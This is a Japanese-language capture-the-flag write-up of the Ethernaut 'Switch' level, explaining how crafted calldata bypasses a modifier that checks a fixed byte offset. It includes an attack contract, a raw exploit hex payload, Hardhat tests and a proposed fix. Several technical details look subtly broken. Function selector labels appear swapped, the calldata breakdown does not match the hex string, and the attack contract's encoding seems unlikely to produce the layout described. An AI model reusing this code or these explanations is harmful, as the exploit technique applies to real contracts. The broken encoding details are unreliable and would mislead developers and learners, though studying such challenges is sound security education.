Appearance
CTF 题目「Switch」の詳細な技術解説：EVMのCALLDATAエンコーディングとセキュリティ脆弱性の活用
はじめに
Ethereumスマートコントラクトのセキュリティは、ブロックチェーン開発において最も重要な課題の一つです。OpenZeppelinが提供するEthernaut CTFの「Switch」問題は、CALLDATAのエンコーディングメカニズムとEVM（Ethereum Virtual Machine）の低レベル操作に対する深い理解を要求する高度な課題です。本記事では、この問題の技術的背景、脆弱性の本質、そして実際の攻撃手法について詳細に解説します。
問題の概要と目標
「Switch」コントラクトは、一見単純なスイッチのオン/オフ機能を提供しますが、flipSwitch関数を通じてのみ状態変更が可能なように設計されています。ユーザーの目標は、switchOn変数をtrueに設定することです。しかし、直接turnSwitchOn()関数を呼び出すことは、onlyThisモディファイアによって制限されています。
コントラクトの主要な制約
flipSwitch関数はonlyOffモディファイアによって保護されており、特定の条件を満たすCALLDATAのみを受け入れますturnSwitchOnとturnSwitchOff関数はonlyThisモディファイアによって保護されており、コントラクト自身からのみ呼び出し可能ですonlyOffモディファイアは、CALLDATAの特定位置（68バイト目）から4バイトを読み取り、offSelector（turnSwitchOff()のセレクタ）と一致することを要求します
技術的背景：EVMとCALLDATAのエンコーディング
CALLDATAの構造
Ethereumトランザクションにおいて、CALLDATAは関数呼び出しのパラメータをエンコードするためのバイト列です。標準的なCALLDATAの構造は以下の通りです：
0x[4バイトの関数セレクタ][32バイト単位にパディングされた引数]
関数セレクタは、関数シグネチャのKeccak256ハッシュの最初の4バイトです。例えば：
turnSwitchOff():bytes4(keccak256("turnSwitchOff()"))turnSwitchOn():bytes4(keccak256("turnSwitchOn()"))flipSwitch(bytes):bytes4(keccak256("flipSwitch(bytes)"))
動的型のエンコーディング
Solidityの動的型（bytes、string、配列など）は、固定長型とは異なるエンコーディング方式を持ちます。動的型のエンコーディングでは：
- 最初の32バイト：データ部分の開始位置（オフセット）
- 次の32バイト：データの長さ
- その後：実際のデータ（32バイト単位にパディング）
脆弱性の分析
onlyOffモディファイアの欠陥
onlyOffモディファイアの実装には重大な欠陥があります：
solidity
modifier onlyOff() {
bytes32[1] memory selector;
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
_;
}
このモディファイアは、CALLDATAの68バイト目から4バイトを読み取り、offSelectorと比較しています。しかし、このロジックはflipSwitch関数がbytes型の動的パラメータを受け取ることを考慮していません。
動的パラメータのCALLDATA構造
flipSwitch(bytes memory _data)が呼び出されるとき、CALLDATAの構造は以下のようになります：
- 0-3バイト:
flipSwitchの関数セレクタ - 4-35バイト:
_dataパラメータのオフセット（通常は0x20= 32バイト） - 36-67バイト:
_dataの長さ - 68バイト以降:
_dataの実際の内容
ここで重要なのは、68バイト目は_dataの内容の開始位置であり、攻撃者が任意のデータを配置できる点です。
攻撃手法の詳細解説
攻撃の核心
攻撃の核心は、flipSwitch関数に渡す_dataパラメータを巧妙に構築することにあります。この_dataは、turnSwitchOn()関数の呼び出しを模倣しながら、68バイト目にturnSwitchOff()のセレクタを配置する必要があります。
攻撃CALLDATAの構築
攻撃コードで使用されているCALLDATAを分解してみましょう：
solidity
bytes memory data = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";
このCALLDATAを解析すると：
- 0x30c13ade:
flipSwitch(bytes)の関数セレクタ - 0x0000...0060:
_dataパラメータのオフセット（96バイト = 0x60） - 0x0000...0020: 最初の動的パラメータのオフセット（32バイト = 0x20）
- 0x20606e15:
turnSwitchOn()の関数セレクタ（実際には偽装） - 0x0000...0004: データ長（4バイト）
- 0x76227e12:
turnSwitchOff()の関数セレクタ（68バイト目に配置）
攻撃のステップバイステップ
flipSwitchの呼び出し: 攻撃コントラクトは、巧妙に構築されたCALLDATAでflipSwitchを呼び出しますonlyOffモディファイアの通過: 68バイト目にturnSwitchOff()のセレクタ（0x76227e12）があるため、モディファイアのチェックを通過します- 内部コールの実行:
flipSwitch関数内でaddress(this).call(_data)が実行されます turnSwitchOnの実行:_dataの実際の内容はturnSwitchOn()の呼び出しであり、コントラクト自身からの呼び出しなのでonlyThisモディファイアを通過します
攻撃コントラクトの完全な実装
以下は、攻撃を実行する完全なコントラクト実装です：
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Switch.sol";
contract Hack {
Switch private immutable target;
constructor(address _target) {
target = Switch(_target);
// 巧妙に構築されたCALLDATA
// このデータは、flipSwitchを呼び出しながら、内部でturnSwitchOnを実行する
bytes memory data = abi.encodeWithSignature(
"flipSwitch(bytes)",
abi.encodePacked(
// turnSwitchOnのセレクタ（偽装用）
bytes4(keccak256("turnSwitchOn()")),
// ダミーデータ（実際には使用されない）
bytes32(0),
// 動的パラメータの長さと内容
uint256(4),
bytes4(keccak256("turnSwitchOff()"))
)
);
// 実際の攻撃実行
(bool success, ) = address(target).call(data);
require(success, "Failed to switch on!");
}
// 攻撃の検証用関数
function isSwitchOn() external view returns (bool) {
return target.switchOn();
}
}
テストコードによる検証
攻撃が成功したかどうかを検証するためのテストコード：
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Switch, Hack } from "../typechain-types";
describe("Switch Attack Test", function () {
let switchContract: Switch;
let hackContract: Hack;
beforeEach(async function () {
// Switchコントラクトのデプロイ
const SwitchFactory = await ethers.getContractFactory("Switch");
switchContract = await SwitchFactory.deploy();
await switchContract.deployed();
// 初期状態の確認（switchOnはfalse）
const initialSwitchState = await switchContract.switchOn();
expect(initialSwitchState).to.be.false;
});
it("should successfully turn the switch on", async function () {
// Hackコントラクトのデプロイと攻撃実行
const HackFactory = await ethers.getContractFactory("Hack");
hackContract = await HackFactory.deploy(switchContract.address);
await hackContract.deployed();
// 攻撃後の状態確認
const finalSwitchState = await switchContract.switchOn();
expect(finalSwitchState).to.be.true;
// Hackコントラクト経由での確認
const isOn = await hackContract.isSwitchOn();
expect(isOn).to.be.true;
});
it("should demonstrate the calldata structure", async function () {
// CALLDATAの構造を詳細に分析
const flipSwitchSelector = ethers.utils.id("flipSwitch(bytes)").slice(0, 10);
const turnSwitchOnSelector = ethers.utils.id("turnSwitchOn()").slice(0, 10);
const turnSwitchOffSelector = ethers.utils.id("turnSwitchOff()").slice(0, 10);
console.log("Function selectors:");
console.log("flipSwitch(bytes):", flipSwitchSelector);
console.log("turnSwitchOn():", turnSwitchOnSelector);
console.log("turnSwitchOff():", turnSwitchOffSelector);
// 攻撃CALLDATAの手動構築
const attackCalldata = ethers.utils.concat([
flipSwitchSelector,
ethers.utils.defaultAbiCoder.encode(
["uint256", "uint256", "bytes4", "uint256", "uint256", "bytes4"],
[
96, // _dataのオフセット
32, // 最初の動的パラメータのオフセット
turnSwitchOnSelector, // turnSwitchOnのセレクタ（偽装）
0, // ダミーデータ
4, // データ長
turnSwitchOffSelector // turnSwitchOffのセレクタ（68バイト目）
]
)
]);
console.log("Attack calldata length:", ethers.utils.hexDataLength(attackCalldata));
console.log("Attack calldata:", attackCalldata);
});
});
セキュリティ対策と教訓
脆弱性の根本原因
この脆弱性の根本原因は、onlyOffモディファイアがCALLDATAの特定位置（68バイト目）のみをチェックしていることです。この実装は以下の問題があります：
- 位置の固定化: 動的パラメータの構造を無視している
- コンテキストの無視: チェックしているデータが実際に関数セレクタであることを保証していない
- 入力検証の不十分: ユーザー提供データの完全な検証を行っていない
適切な修正方法
安全な実装にするためには、以下のような修正が必要です：
solidity
// 修正版のonlyOffモディファイア
modifier onlyOff() {
// 関数セレクタを直接取得
bytes4 selector;
assembly {
selector := calldataload(0)
}
// flipSwitchのセレクタであることを確認
bytes4 flipSwitchSelector = bytes4(keccak256("flipSwitch(bytes)"));
require(selector == flipSwitchSelector, "Can only call flipSwitch");
// _dataパラメータの内容を検証
bytes memory data;
assembly {
let offset := calldataload(4) // _dataのオフセット
let length := calldataload(add(offset, 4)) // _dataの長さ
data := mload(0x40)
mstore(data, length)
calldatacopy(add(data, 0x20), add(offset, 0x24), length)
mstore(0x40, add(data, add(0x20, length)))
}
// _dataの最初の4バイトがoffSelectorであることを確認
bytes4 dataSelector;
assembly {
dataSelector := mload(add(data, 0x20))
}
require(dataSelector == offSelector, "Data must start with turnSwitchOff selector");
_;
}
一般的なセキュリティプラクティス
- 完全な入力検証: ユーザー提供のデータは常に完全に検証する
- 最小権限の原則: コントラクトは必要最小限の権限のみを持つべき
- 防御的プログラミング: 予期しない入力や状態を想定する
- 外部コールの慎重な扱い:
callメソッドを使用する際は特に注意する - モディファイアの適切な使用: モディファイアはシンプルで理解しやすいものにする
まとめ
「Switch」問題は、EVMのCALLDATAエンコーディングと動的型の扱いに対する深い理解がなければ解決できない高度な課題です。この問題から学べる重要な教訓は：
- 動的型のエンコーディングを理解する重要性: Solidityの動的型は固定長型とは異なるエンコーディング方式を持ちます
- 低レベルアセンブリの危険性: アセンブリを使用する場合は、完全なコンテキスト理解が必要です
- セキュリティチェックの完全性: 部分的なチェックは脆弱性につながります
- 内部コールのセキュリティ影響: コントラクト自身へのコールも適切に制御する必要があります
この問題は、スマートコントラクト開発者がCALLDATAの扱いや低レベル操作を行う際のベストプラクティスを学ぶための優れた教材となっています。セキュリティは単一のレイヤーではなく、多層的な防御が重要であることを示しています。